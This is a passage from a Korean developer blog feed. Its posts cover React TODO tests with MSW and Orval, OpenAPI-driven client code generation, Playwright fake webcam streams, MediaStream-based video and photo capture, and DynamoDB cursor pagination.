- 새롭게 등록한 TODO 항목이 화면에 표시된다.
- 등록 버튼을 클릭했을 때 input 값이 비워진다.
- 등록 버튼을 클릭했을 때 서버가 받은 요청을 확인한다.

describe("App", () => {

  ...

  test("화면에 새로운 해야할 일(todo)를 등록할 수 있다.", async () => {
    // [1]
    const expectedRequest: DefaultBodyType[] = [];
    server.use(
      getPostTodosMockHandler(async (info) => {
        const body = (await info.request.json()) as TodoCreate;
        expectedRequest.push(body);
        return { ...body, id: 1, createdAt: "2022-01-01T00:00:00.000Z" };
      }),
    );
    server.use(
      getGetTodosMockHandler(async () => {
        return expectedRequest.map((item, index) => {
          return {
            ...(item as Todo),
            id: index + 1,
            createdAt: "2022-01-01T00:00:00.000Z",
          };
        });
      }),
    );
    render(withQueryProvider(<App />));

    // [2]
    await userEvent.type(
      screen.getByPlaceholderText("해야할 일"),
      "블로그 쓰기",
    );
    await userEvent.click(screen.getByRole("button", { name: "등록" }));

    // [3]
    const firstTodo = await screen.findByText("블로그 쓰기");
    expect(firstTodo).toBeInTheDocument();
    expect(
      // biome-ignore lint/style/noNonNullAssertion: test code
      within(firstTodo.parentElement!).getByRole("checkbox"),
    ).not.toBeChecked();
    expect(expectedRequest).toEqual([
      { title: "블로그 쓰기", completed: false },
    ]);
  });
});

위 테스트 코드를 통과할 수 있는 구현 코드를 작성한다. Orval을 통해 자동 생성된 리액트 쿼리 훅을 사용한다.

useGetTodos 훅으로 서버로부터 TODO 리스트 응답을 가져온다.
usePostTodos 훅으로 서버에 신규 TODO 항목을 등록한다. mutation 성공 시 서버에서 반환된 데이터를 처리하고, 관련된 쿼리를 새로고침하여 캐시를 업데이트한다.

import "./App.css";
import { useQueryClient } from "@tanstack/react-query";
import { useState } from "react";
import {
  getGetTodosQueryKey,
  useGetTodos,
  usePostTodos,
} from "./apis/todoAPI.ts";

function App() {
  const queryClient = useQueryClient();
  const { data: todos = { data: [] } } = useGetTodos();
  const { mutate: createTodo } = usePostTodos({
    mutation: {
      onSuccess: async () => {
        await queryClient.invalidateQueries({
          queryKey: getGetTodosQueryKey(),
        });
      },
    },
  });

  const [item, setItem] = useState("");
  const handleSubmit = async () => {
    createTodo({ data: { title: item, completed: false } });
    setItem("");
  };

  return (
    <div style={ { display: "flex", flexDirection: "column", gap: "1rem" } }>
      <div style={ { display: "flex", gap: "1rem" } }>
        <input
          type="text"
          placeholder="해야할 일"
          onChange={(e) => setItem(e.target.value)}
          value={item}
        />
        <button type="button" onClick={handleSubmit}>
          등록
        </button>
      </div>
      <div>
        {todos.data.map((todo) => (
          <div key={todo.id}>
            <div
              style={ {
                display: "flex",
                gap: "0.5rem",
                justifyContent: "flex-start",
              } }
            >
              <input type="checkbox" checked={todo.completed} readOnly />
              <span>{todo.title}</span>
            </div>
          </div>
        ))}
      </div>
    </div>
  );
}

export default App;

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-02-11-using-mock-service-worker-with-orval

REFERENCE

OpenAPI 명세서를 사용한 Orval 클라이언트 코드 자동 생성하기

Tue, 27 Jan 2026 00:00:00 +0000

0. 들어가면서

최근 참여한 프로젝트는 OpenAPI 사양을 Rest API의 단일 진실 공급원(single source of truth)으로 사용하려는 노력이 엿보인다.

OpenAPI 사양을 기준으로 Orval을 통해 프론트엔드 클라이언트 코드 생성
OpenAPI 사양을 기준으로 테라폼(terraform)을 통해 AWS API Gateway 엔드포인트 생성

이번 글은 OpenAPI 사양을 기준으로 Orval을 통해 프론트엔드 클라이언트 코드를 생성하는 방법에 대해 정리했다.

1. OpenAPI specification

OpenAPI 사양(OpenAPI Specification, OAS)은 HTTP API를 정의하기 위한 표준화된 명세 언어(specification language)다. 주로 YAML이나 JSON 형식으로 작성되며, API의 수명 주기(Lifecycle) 전반에 걸쳐 정보를 일관되게 전달하는 역할을 한다. 주로 다음과 같은 특징을 갖는다.

언어 독립성 (Language Agnostic): OAS는 특정 프로그래밍 언어에 종속되지 않는다. 따라서 API 소비자는 서비스가 어떤 언어(Lisp, Haskell 등)로 구현되었는지 알 필요 없이, OAS 문서만으로 API의 기능과 사용법을 명확하게 이해할 수 있다.
표준화된 소통: API 제공자와 소비자(동료, 파트너사 등) 간의 지식 전달을 명확하고 효율적으로 만든다. 이는 API 경제에서 비즈니스를 수행하는 데 필수적이다.
단일 진실 공급원 (Single Version of the Truth): 설계 단계에서 생성된 OAS 문서는 개발, 테스트, 배포 등 이후 모든 단계에서 기준이 되어 관리 비용을 줄이고 일관성을 보장한다.

API 개발 라이프사이클(lifecycle)에서 다음과 같이 활용한다.

요구사항 및 설계 (Requirements & Design): 요구사항을 기술적으로 구체화하고 이해관계자와 빠르게 공유하는 데 사용된다. 설계 과정에서 버전 관리가 가능한 구체적인 산출물을 제공하여 개발 단계의 명확한 입력값이 된다.
개발 (Development): ‘API 우선(API-first)’ 접근 방식에서 OAS 문서를 먼저 작성한 뒤, 이를 통해 클라이언트, 서버 코드를 자동으로 생성하여 구현과 설계의 일치성을 높인다.
인프라 구성 (Infrastructure Configuration): API 게이트웨이나 보안 시스템 설정 시 OAS를 입력값으로 사용하여 경로 유효성 검사, 파라미터 검증 등을 버튼 클릭 한 번으로 자동화할 수 있다.
개발자 경험 제공 (Developer Experience): API 문서를 자동으로 생성하거나, 사용자가 API를 직접 테스트해 볼 수 있는 대화형 환경(‘Try it out’) 및 다양한 언어의 클라이언트 SDK를 제공하는 데 활용된다.
테스트 (Testing): 설계(OAS)와 실제 구현이 일치하는지 확인하는 계약 테스트(contract tests)나, 보안 취약점을 점검하는 보안 도구의 기준으로 사용되어 품질을 보증한다.

2. Orval

Orval은 RESTful 클라이언트 코드를 생성해주는 CLI 도구다. Orval을 사용하면 OpenAPI v3 혹은 Swagger v2 사양을 기반으로 타입-안전한 자바스크립트 클라이언트 코드를 생성한다. 주로 다음과 같은 작업을 수행한다.

타입스크립트 모델을 생성한다.
HTTP 요청 함수를 생성한다.
MSW(mock service worker)를 사용해 목(mock) 데이터를 생성한다.

앵귤라(angular), 리액트(react), 뷰(vue) 같이 주요 프레임워크들을 모두 지원한다. 다음 명령어를 통해 설치할 수 있다.

$ npm i orval -D

명령어와 옵션을 통해 사용할 수 있지만, 다양한 옵션이 필요한 경우 명령어가 복잡해질 수 있으므로 설정 파일을 사용하는 편이 좋다. orval.config.js 파일을 만들고 다음과 같은 설정을 추가한다.

OpenAPI 사양 yaml 파일을 입력으로 지정한다.
출력 결과는 목, 구현, 스키마 코드를 분리(split)하는 방식을 지정한다.
자동 생성된 코드는 src/apis 경로에 저장한다.
자동 생성된 스키마는 src/model 경로에 저장한다.
클라이언트는 리액트 쿼리(react-query)를 사용한다.
HTTP 클라이언트는 기본적으로 fetch API를 사용(v8부터)한다. axios 같은 HTTP 클라이언트도 지원한다.
MSW 핸들러 함수 생성을 활성화한다.

import { defineConfig } from "orval";

export default defineConfig({
  api: {
    input: "../api/openapi-specification.yaml",
    output: {
      mode: "split",
      target: "src/apis",
      schemas: "src/model",
      client: "react-query",
      httpClient: "axios",
      mock: true,
    },
  },
});

3. Generate codes

설정이 완료되었으면 Orval을 통해 코드를 생성한다. 해당 예제에서 사용한 OpenAPI 명세서는 다음과 같다. YAML 파일에 OpenAPI 버전, API 설명, 요청 정보, 응답 정보, 필요한 스키마 같은 정보들이 명시되어 있다. 설명이 없더라도 읽고 이해하기 어렵지 않다.

openapi: 3.1.0
info:
  title: Todo API
  description: 할 일 목록을 관리하기 위한 간단한 연습용 API입니다.
  version: 1.0.0

servers:
  - url: https://api.example.com/v1
    description: 메인 프로덕션 서버

paths:
  /todos:
    get:
      summary: 모든 할 일 목록 조회
      responses:
        '200':
          description: 성공적인 조회
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: '#/components/schemas/Todo'
    post:
      summary: 새로운 할 일 추가
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/TodoCreate'
      responses:
        '201':
          description: 생성 성공
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Todo'

  /todos/{id}:
    parameters:
      - name: id
        in: path
        required: true
        description: 할 일의 고유 식별자 (ID)
        schema:
          type: integer
    get:
      summary: 특정 할 일 상세 조회
      responses:
        '200':
          description: 상세 정보 반환
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Todo'
        '404':
          description: 해당 ID를 찾을 수 없음
    put:
      summary: 기존 할 일 수정
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/TodoCreate'
      responses:
        '200':
          description: 수정 완료
    delete:
      summary: 할 일 삭제
      responses:
        '204':
          description: 삭제 성공 (반환 데이터 없음)

components:
  schemas:
    Todo:
      type: object
      properties:
        id:
          type: integer
          example: 1
        title:
          type: string
          example: "OpenAPI 공부하기"
        completed:
          type: boolean
          example: false
        createdAt:
          type: string
          format: date-time
    TodoCreate:
      type: object
      required:
        - title
      properties:
        title:
          type: string
          example: "우유 사러 가기"
        completed:
          type: boolean
          default: false

package.json 파일에 다음과 같은 스크립트를 추가한다. 위에서 생성한 설정 파일을 기준으로 코드를 생성한다.

{
  "name": "frontend",
  "private": true,
  "version": "0.0.0",
  "type": "module",
  "scripts": {
    ...
    "generate": "orval --config ./orval.config.js",
    ...
  },
  ...
}

터미널에서 아래 명령어를 실행하면 코드가 자동 생성된다.

$ npm run generate

> frontend@0.0.0 generate
> orval --config ./orval.config.js

🍻 orval v8.0.3 - A swagger client generator for typescript
🎉 api - Your OpenAPI spec has been converted into ready to use orval!

설정 파일에 지정된 경로에 API, 목 API, 스키마 코드 파일이 분리되어 저장된다.

TEST CODE REPOSTORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-01-27-open-api-spec-with-orval

REFERENCE

Playwright 페이크 미디어 스트림(fake media stream)으로 웹캠(webcam) 촬영 테스트

Sat, 24 Jan 2026 00:00:00 +0000

리액트 브라우저 웹캠(web camera) 촬영/녹화 구현하기

0. 들어가면서

브라우저에서 웹캠으로 촬영하는 기능은 웹 API를 사용하기 때문에 단위 테스트로 검증하는 것에 한계가 있다. Playwright 같은 프레임워크를 통해 E2E 테스트로 검증해야 한다.

웹캠 기능은 단순히 API 호출로 끝나지 않고, 하드웨어의 미디어 스트림이 video 태그에 실제 데이터로 전달되어야 한다.
웹캠 영상 처리는 고도로 비동기적인 작업이다. 카메라를 켜는 속도, 해상도 설정에 따른 로딩 시간 등 하드웨어 가용 상태에 따라 실행 환경이 매번 달라질 수 있다.
WebRTC 및 MediaStream API는 브라우저 엔진(chromium, webkit, firefox)마다 구현 방식이나 지원하는 코덱에 미세한 차이가 있다. 멀티 브라우저 테스트를 통해 이를 검증할 수 있다.

이 글은 브라우저 웹캠 촬영 기능을 Playwright 프레임워크를 통해 테스트하는 방법에 대해 정리했다.

1. Fake media stream in Playwright

영상 녹화나 사진 촬영 기능을 테스트할 때 다음과 같은 문제들이 발생한다.

CI/CD 파이프라인에는 실제 연결된 카메라가 없으므로 촬영이 불가능하다.
테스트마다 촬영 모습이 매번 다르다면 결과를 검증하는 것이 어렵고, 테스트는 매번 실패할 것이다.

위 두 가지 문제점을 해결하기 위한 방법으로 Playwright의 페이크 미디어 스트림(fake media stream)을 사용할 수 있다. 미리 녹화한 영상을 video 태그에 스트림으로 연결하는 방법이다. 쉽게 이야기하면 실제 카메라로부터 전달받는 영상 스트림이 아닌 목킹(mocking) 영상 스트림을 사용하는 것이다. 실제 카메라가 없어도 영상을 촬영할 수 있고, 매번 같은 영상을 출력하는 것이 가능하다.

2. Use fake media stream

지금부터 Playwright 프레임워크의 페이크 미디어 스트림을 통해 웹캠 촬영에 대한 테스트를 해보자. 테스트 이전에 몇 가지 설정과 준비가 필요하다. 먼저 E2E 테스트 프로젝트를 생성한다. 생성 방법은 공식 홈페이지를 참고하길 바란다. E2E 테스트 프로젝트를 생성하면 playwright.config.ts 설정 파일이 생성된다. 이 설정 파일에 아래와 같이 권한과 크롬 실행 옵션을 추가한다.

루트 use 객체에 permissions 배열에 카메라 권한을 추가한다.
프로젝트 배열에 크롬 객체에 실행 옵션을 추가한다. 크롬 실행 옵션은 실제 코드를 통해 확인할 수 있다.
- –use-fake-device-for-media-stream: 실제 카메라와 마이크를 페이크 디바이스 미디어 스트림으로 대체한다.
- –use-file-for-fake-video-capture: 페이크 미디어 스트림으로 사용할 파일을 지정한다. y4m(YUV4MPEG2) 포맷 파일만 사용 가능하다.

import {defineConfig, devices} from "@playwright/test";

export default defineConfig({
  testDir: "./tests",
  fullyParallel: true,
  forbidOnly: !!process.env.CI,
  retries: process.env.CI ? 2 : 0,
  workers: process.env.CI ? 1 : undefined,
  reporter: [["html", { open: "never" }]],
  use: {
    // 권한 허용
    permissions: ["camera"],
    baseURL: "http://localhost:5173",
    trace: "on-first-retry",
    headless: !!process.env.CI,
  },
  projects: [
    {
      name: "chromium",
      use: {
        ...devices["Desktop Chrome"],
        // 크롬 실행 옵션
        launchOptions: {
          args: [
            "--use-fake-device-for-media-stream",
            "--use-file-for-fake-video-capture=media/output.y4m",
          ],
        },
      },
    },
  ],
});

y4m 포맷의 파일만 페이크 미디어 스트림으로 사용할 수 있다. mov, mp4 같은 비디오를 FFmpeg 프레임워크를 통해 y4m 형식으로 변경할 수 있다. FFmpeg는 디지털 음성 및 영상 데이터를 기록, 변환, 스트리밍하는 데 사용되는 오픈 소스 멀티미디어 프레임워크다. 거의 모든 종류의 오디오/비디오 코덱과 컨테이너 형식을 읽고 쓸 수 있다. 터미널에서 홈브루(brew)를 통해 설치할 수 있다.

$ brew install ffmpeg

FFmpeg 설치가 완료되었으면 다음 명령어를 통해 비디오 포맷을 변경한다. 입력 비디오는 맥북에서 유튜브 영상을 짧게 녹화한 것을 사용했다. y4m 포맷의 영상은 압축 과정 없이 각 프레임의 모든 픽셀 데이터를 그대로 기록하기 때문에 데이터의 양이 압축 파일보다 훨씬 많다. 해상도와 프레임을 낮춰 파일 사이즈를 제한한다. 변환된 output.y4m 파일은 E2E 프로젝트의 media 경로에 위치시킨다.

“-i sample.mov”
- 작업의 대상이 되는 파일이다.
“-vf scale=1280:-1”
- 비디오에 필터를 적용하여 영상의 크기(해상도)를 조절한다.
“-r 3”
- 출력 파일의 초당 프레임 레이트(FPS)를 3으로 설정한다.
“-f yuv4mpegpipe”
- 강제로 YUV4MPEG2 출력 포맷으로 지정한다.

$ ffmpeg -i sample.mov -vf scale=1280:-1 -r 3 -f yuv4mpegpipe output.y4m

3. Tests

이 글은 테스트 코드만 다룬다. 리액트 브라우저 웹캠(web camera) 촬영/녹화 구현하기에서 다뤘던 웹캠 영상 녹화, 사진 촬영 기능을 대상으로 테스트를 수행한다. 전체 코드는 이 레포지토리를 통해 확인할 수 있다.

먼저 비디오 녹화 기능에 대한 테스트 코드는 다음과 같다.

화면에 접속한다. 즉시 녹화를 시작하지 않고, 미디어 스트림이 연결되는 것을 500ms 기다린다.
“녹화 시작” 버튼을 클릭 후 1초 대기한다.
“녹화 종료” 버튼을 클릭한다.
다운로드 경로에 해당 이름으로 파일이 다운로드되었는지 확인한다.

import {randomUUID} from "node:crypto";
import * as fs from "node:fs";
import {expect, test} from "@playwright/test";

test("download video file", async ({ page }) => {
  await page.goto("/");
  await page.waitForTimeout(500); // wait for media stream to be ready

  await page.getByRole("button", { name: "녹화 시작" }).click();
  await page.waitForTimeout(1000); // wait for recording

  const downloadPromise = page.waitForEvent("download");
  await page.getByRole("button", { name: "녹화 종료" }).click();

  const download = await downloadPromise;
  const filePath = `downloads/${randomUUID()}.webm`;
  await download.saveAs(filePath);
  expect(fs.existsSync(filePath)).toBeTruthy();
});

위 테스트를 실행하면 다음과 같이 사전에 준비한 영상이 실제 카메라 영상 대신 보이는 것을 확인할 수 있다. 녹화한 비디오도 페이크 미디어 스트림 영상임을 확인할 수 있다.

다음은 사진 촬영 기능에 대한 테스트다.

화면에 접속 후 사진 촬영 기능으로 이동한다. 즉시 촬영을 시작하지 않고, 미디어 스트림이 연결되는 것을 500ms 기다린다.
“촬영” 버튼을 클릭한다.
다운로드 경로에 해당 이름으로 파일이 다운로드되었는지 확인한다.

import {randomUUID} from "node:crypto";
import * as fs from "node:fs";
import {expect, test} from "@playwright/test";


test("download image file", async ({ page }) => {
  await page.goto("/");
  await page.getByText("사진").click();
  await page.waitForTimeout(500); // wait for media stream to be ready

  const downloadPromise = page.waitForEvent("download");
  await page.getByRole("button", { name: "촬영" }).click();

  const download = await downloadPromise;
  const filePath = `downloads/${randomUUID()}.png`;
  await download.saveAs(filePath);
  expect(fs.existsSync(filePath)).toBeTruthy();
});

위 테스트를 실행하면 비디오 촬영 테스트와 마찬가지로 사전에 준비한 영상이 실제 카메라 영상 대신 보인다. 촬영된 사진도 페이크 미디어 스트림의 프레임인 것을 확인할 수 있다.

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-01-24-playwright-testing-camera-stream-mocking

REFERENCE

리액트 브라우저 웹캠(web camera) 촬영/녹화 구현하기

Fri, 23 Jan 2026 00:00:00 +0000

0. 들어가면서

최근 참여한 프로젝트에는 브라우저에서 비디오 녹화와 사진 촬영 기능이 구현되어 있었다. 코드가 복잡해 보여서 리팩토링이 필요해 보였다. API 기능을 정확히 이해해야 문제 없이 리팩토링 할 수 있을 것 같아서 어떻게 구현하는지, 어떤 API가 사용되는지 간단하게 공부해 볼 생각으로 블로그에 정리했다.

1. MediaStream API

브라우저에서 카메라, 마이크 같은 채널로부터 입력을 받으려면 MediaStream API를 사용해야 한다. getUserMedia() 메서드를 통해 요청한 미디어(media) 트랙들이 포함된 MediaStream 인스턴스를 얻을 수 있다.

const stream = navigator.mediaDevices.getUserMedia(constraints)

스트림(stream)엔 다음과 같은 트랙들이 포함될 수 있다. 각 트랙들은 MediaStreamTrack 인터페이스로 추상화되어 있다.

카메라, 비디오 녹화 디바이스, 화면 공유 기능 같은 하드웨어, 가상 비디오 소스에 의해 생성되는 비디오 트랙
마이크, A/D 컨버터에 의해 생성되는 오디오 트랙
기타 가능한 다른 타입의 트랙

MediaStream 인스턴스의 getTracks() 메서드를 사용하면 종류에 상관없이 모든 MediaStreamTrack 인스턴스들을 반환한다.

해당 메서드를 호출하면 사용자 허가(permssion) 여부를 확인하고, 허가하지 않는 경우 NotAllowedError 에러를 던진다. 위에서 사용된 constraints 객체에는 video와 audio 요소가 모두 포함되며 요청하는 미디어 타입의 관련된 제약 조건을 명시한다.

getUserMedia() 메서드 API는 심각한 개인정보 보호 우려가 포함되어 있기 때문에 브라우저가 의무적으로 만족해야 하는 보안 요구사항들이 명시되어 있다. 안전하지 않은 컨텍스트에서 navigator.mediaDevices 객체는 undefined이므로 getUserMedia() 메서드는 호출할 수 없다. 안전한 컨텍스트인 HTTPS, ‘file:///’ URL 스키마, localhost인 경우에만 사용할 수 있다.

2. Video recording

우선 비디오 녹화를 하는 기능을 구현해보자. 전체 코드는 레포지토리를 통해 확인할 수 있다. 레코딩 여부에 따라 녹화 시작/종료 버튼이 렌더링 된다. 카메라 스트림을 연결하기 위한 video 요소(element)를 useRef를 통해 참조한다.

const VideoRecorder = () => {
  const [isRecording, setIsRecording] = useState(false);
  const videoRef = useRef<HTMLVideoElement>(null);
  const recorderRef = useRef<MediaRecorder>(null);

  const startRecording = () => { ... };

  const stopRecording = () => { ... };

  useEffect(() => { ... }, []);

  return (
    <div>
      <video
        ref={videoRef}
        muted
        style={ { width: "1024px", backgroundColor: "#333", height: "576px" } }
      />
      <div>
        {!isRecording ? (
          <button type="button" onClick={startRecording}>
            녹화 시작
          </button>
        ) : (
          <button type="button" onClick={stopRecording}>
            녹화 종료
          </button>
        )}
      </div>
    </div>
  );
};

useEffect 훅(hook)에서 웹 캠을 연결한다. 컴포넌트가 마운트(mount) 될 때 getUserMedia 메서드를 통해 MediaStream 인스턴스를 획득한다. 획득한 MediaStream 인스턴스를 videoRef가 참조하는 video 요소의 소스(srcObject)로 설정 후 video 요소를 플레이(play)한다. 언마운트(unmount)될 때 MediaStream 인스턴스로 관리하는 트랙(MediaStreamTrack)들을 모두 종료한다.

getUserMedia 메서드가 호출되면 브라우저에서 카메라 권한 허용 여부를 물어본다. 사용자가 허용하면 카메라가 연결되고, 허용하지 않으면 DOMException 에러가 발생한다.

const loadStream = async () => {
  return await navigator.mediaDevices.getUserMedia({
    video: {
      width: 1024,
      height: 576,
    },
    audio: false,
  });
};

const stopStreamTracks = (stream: MediaStream) => {
  for (const track of stream.getTracks()) {
    track.stop();
  }
};

const VideoRecorder = () => {
  const [isRecording, setIsRecording] = useState(false);
  const videoRef = useRef<HTMLVideoElement>(null);
  const recorderRef = useRef<MediaRecorder>(null);

  const startRecording = () => { ... };

  const stopRecording = () => { ... };

  useEffect(() => {
    let mounted = true;
    let localStream: MediaStream | undefined;
    loadStream()
      .then(async (stream) => {
        if (mounted && videoRef.current) {
          localStream = stream;
          videoRef.current.srcObject = stream;
          await videoRef.current.play();
        } else {
          stopStreamTracks(stream);
        }
      })
      .catch(console.error);
    return () => {
      mounted = false;
      if (localStream) {
        stopStreamTracks(localStream);
      }
    };
  }, []);

  return (
    <div> ... </div>
  );
};

Promise 객체의 then 콜백에서 mounted 여부를 확인하는 로직은 리액트(React) strict 모드에 의해 발생하는 에러를 방지하기 위함이다. 개발 환경에서 리액트는 useEffect 훅을 마운트 -> 언마운트 -> 마운트 순서로 강제 실행한다. 이때 첫 번째 비동기 처리(getUserMedia, run)들이 끝나기 전에 두 번째 마운트에 의해 새로운 요청을 보내면서 브라우저가 이전 요청을 취소(Abort)하게 된다. 이로 인해 발생하는 에러를 방지하기 위함이다.

다음으로 녹화 시작/종료 기능을 살펴보자. 녹화 시작 버튼을 클릭하면 startRecording 함수가 호출된다. video 요소의 MediaStream 기반으로 MediaRecorder 객체를 생성한다. MediaRecorder 객체의 ondataavailable, onstop 이벤트 리스너를 재정의한다.

ondataavailable 이벤트 리스너
- 스트림을 통해 들어오는 데이터를 Blob 배열에 담는다.
onstop 이벤트 리스너
- 촬영 중 수집한 데이터 조각들을 하나의 Blob 객체로 합쳐 다운로드 가능한 URL로 변환 후 앵커(anchor) 태그를 통해 해당 비디오를 다운로드한다.

녹화 종료 버튼을 클릭하면 stopRecording 함수가 호출된다. 녹화를 중단하고, MediaRecorder 객체 참조를 제거한다.

const createRecorder = (mediaStream: MediaStream) => {
  const chunks: Blob[] = [];
  const recorder = new MediaRecorder(mediaStream, {
    mimeType: "video/webm",
  });
  recorder.ondataavailable = (e) => chunks.push(e.data);
  recorder.onstop = () => {
    const blob = new Blob(chunks, { type: "video/webm" });
    const url = URL.createObjectURL(blob);
    const a = document.createElement("a");
    a.href = url;
    a.download = "video.webm";
    a.click();
    URL.revokeObjectURL(url);
  };
  return recorder;
};

const VideoRecorder = () => {
  const [isRecording, setIsRecording] = useState(false);
  const videoRef = useRef<HTMLVideoElement>(null);
  const recorderRef = useRef<MediaRecorder>(null);

  const startRecording = () => {
    setIsRecording(true);
    const videoElement = videoRef.current;
    if (!videoElement) {
      return;
    }
    const mediaStream = videoElement.srcObject as MediaStream;
    const recorder = createRecorder(mediaStream);
    recorder.start();
    recorderRef.current = recorder;
  };

  const stopRecording = () => {
    setIsRecording(false);
    const recorder = recorderRef.current;
    if (recorder) {
      recorder.stop();
      recorderRef.current = null;
    }
  };

  useEffect(() => { ... }, []);

  return (
    <div> ... </div>
  );
};

다음과 같이 실행된다.

3. Photo capture

사진을 촬영하는 코드를 살펴보자. 비디오 레코딩과 유사하지만, 이미지를 촬영하기 위해서는 캔버스(canvas) 객체를 사용한다. 비디오 녹화 코드와 대부분 동일하므로 다른 부분만 살펴본다. 영상 촬영과 마찬가지로 video 요소를 연결한다.

const PhotoCapture = () => {
  const videoRef = useRef<HTMLVideoElement>(null);

  useEffect(() => { ... }, []);

  const capture = () => { ... };

  return (
    <div>
      <video
        ref={videoRef}
        muted
        style={ { width: "1024px", backgroundColor: "#333", height: "576px" } }
      />
      <div>
        <button type="button" onClick={capture}>
          촬영
        </button>
      </div>
    </div>
  );
};

useEffect 훅에 작성된 코드는 비디오 녹화와 동일하다. 현재 비디오 스트림을 기준으로 사진을 캡처하는 코드만 살펴본다.

캔버스 요소 객체를 만들고 현재 video 요소에서 재생되는 스트림 기준으로 png 이미지를 생성한다. 이미지 사이즈는 video 요소와 동일하게 설정한다. 생성한 이미지를 Base64 인코딩 한 데이터 URL 형식으로 변경 후 앵커 태그를 통해 다운로드 받는다.

const PhotoCapture = () => {
  const videoRef = useRef<HTMLVideoElement>(null);

  useEffect(() => { ... }, []);

  const capture = () => {
    const video = videoRef.current;
    const canvas = document.createElement("canvas");
    const context = canvas.getContext("2d");
    if (video && context) {
      canvas.width = video.videoWidth;
      canvas.height = video.videoHeight;
      context.drawImage(video, 0, 0, canvas.width, canvas.height);
      const url = canvas.toDataURL("image/png");
      const a = document.createElement("a");
      a.href = url;
      a.download = "photo.png";
      a.click();
    }
  };

  return (
    <div> ... </div>
  );
};

다음과 같이 실행된다.

CLOSING

중복 코드들이 보인다. 해당 코드들은 커스텀 훅이나 유틸성 함수로 빼낼 수 있을 것 같다는 생각이 든다. 컴포넌트에서 전부 처리 중인 로직을 커스텀 훅이나 함수로 빼내면 이에 대한 단위 테스트를 작성할 수 있어서 테스트 커버리지까지 높일 수 있을 것 같다.

TEST CODE REPOSITORY

https://github.com/Junhyunny/blog-in-action/tree/master/2026-01-23-record-video-web-camera

REFERENCE

DynamoDB 페이지 처리(pagination)

Thu, 22 Jan 2026 00:00:00 +0000

타입스크립트 애플리케이션에서 LocalStack 테스트 컨테이너 사용하기

0. 들어가면서

DynamoDB는 조회할 때 1MB 사이즈 제한이 있다. 그 이상 데이터를 조회하고 싶은 경우 페이지 처리(pagination)가 필요하다. 이 글은 DynamoDB에서 조회 시 데이터 사이즈 제한이 걸린 경우 페이지 처리를 하는 방법에 대해 정리했다.

1. Offset is not supported

RDB(relational database)와 다르게 DynamoDB는 오프셋(offset)을 지원하지 않는다. 오프셋은 일반적으로 특정 지점까지 모든 레코드를 순차적으로 읽은 뒤, 앞 부분을 버리는 방식이다. 오프셋 100만을 요청하면 데이터베이스는 실제로 100만 개를 읽어야 하므로 뒤로 갈수록 응답 속도가 기하급수적으로 느려진다.

DynamoDB는 데이터 규모에 상관없이 10ms 미만의 일관된 레이턴시(consistent low latency)를 보장하는 것이 설계 목표이다. 데이터의 사이즈에 따라 응답 속도가 달라지는 오프셋은 실제로 이 설계 목표에 위배된다. DynamoDB는 수많은 물리적 서버(partition)으로 나눠 데이터를 저장한다. 오프셋을 계산하려면 모든 파티션으로부터 앞에 몇 개의 데이터가 있는지 계산해봐야 한다. 이런 비효율성 때문인지 DynamoDB는 오프셋을 지원하지 않고, 커서(cursor) 방식의 페이지 처리를 지원한다.

2. Cursor based pagination

커서 기반 페이지네이션(cursor-based pagination)은 데이터 집합 내의 특정 항목을 가리키는 고유한 식별자(커서, cursor)를 기준으로 다음 페이지의 데이터를 가져오는 방식이다. 커서 기반 페이지 처리는 특정 페이지로 바로 이동하는 방식보단 첫 페이지부터 한 페이지씩 조회하는 방식에 적합하다. 예를 들어, 무한 스크롤(infinite scroll) 같은 기능에 적합하다.

DynamoDB는 커서 기반 페이지 처리를 위해 아이템 조회 결과에 LastEvaluatedKey 요소를 포함시켰다. LastEvaluteKey 존재 여부에 따라 다음 페이지가 존재하는지 아닌지 알 수 있다.

결과에 LastEvaluteKey 요소를 포함하고 null 이 아닌 경우 이를 기반으로 다음 페이지를 조회할 수 있다.
결과에 LastEvaluteKey 요소가 없는 경우 더 이상 가져올 항목이 없다.

LastEvaluteKey 요소가 존재하는 경우 LastEvaluteKey 요소를 다음 쿼리의 ExclusiveStartKey 요소로 사용하면 해당 지점부터 데이터를 조회할 수 있다.

3. Example codes

간단한 예시 코드들을 살펴보자. 테스트 컨테이너(test container)를 사용한 테스트 코드를 통해 예제 코드를 검증한다. 테스트 컨테이너 셋업, 의존성 설치, 타입스크립트 설정 등은 이전 글을 참고하길 바란다. 전체 예제 코드는 이 링크를 참고하길 바란다.

먼저 사이즈 제한에 의해 데이터를 추가적으로 조회해야 하는 경우를 살펴보자. 큰 사이즈의 데이터를 준비한다. 다만, DynamoDB는 쓰기 연산에도 400KB 사이즈 제한이 있다. 이 사이즈를 넘지 않는 데이터를 사용한다.

데이터베이스에 395KB 크기 이상의 데이터를 4개 준비한다.
모든 아이템을 조회한다.
모든 아이템들이 조회되길 기대한다.

it("given data size over 1MB when getAllItems then return get all items included next page", async () => {
  // 1 - 395KB size item
  const item = Array.from({ length: 395 * 1024 }, (_, __) => "0").join("");
  for (let index = 0; index < 4; index++) {
    await dynamoDBClient.send(
      new PutCommand({
        TableName: tableName,
        Item: {
          pk: "pk",
          sk: `sk-${index}`,
          item,
        },
      }),
    );
  }

  // 2
  const result = await getAllItems();

  // 3
  expect(result.length).toEqual(4);
  expect(result).toEqual([
    { pk: "pk", sk: "sk-0", item },
    { pk: "pk", sk: "sk-1", item },
    { pk: "pk", sk: "sk-2", item },
    { pk: "pk", sk: "sk-3", item },
  ]);
});

페이지 처리가 없다면 데이터는 3개 밖에 조회되지 않는다. 3개까진 1MB를 미만이지만, 4개부터 조회할 데이터 사이즈가 1MB를 초과한다. 아래와 같이 단순 쿼리 로직을 수행하면 테스트가 실패한다.

const getAllItems = async (): Promise<Item[]> => {
  const command = new QueryCommand({
    TableName: tableName,
    KeyConditionExpression: "pk = :pk and begins_with(sk, :sk)",
    ExpressionAttributeValues: {
      ":pk": "pk",
      ":sk": "sk",
    },
  });
  const output = await dynamoDBClient.send(command);
  return output.Items as Item[];
};

테스트 실패 이유는 예상한 것처럼 3개만 조회되기 때문이다.

AssertionError: expected 3 to deeply equal 4
Expected :4
Actual   :3

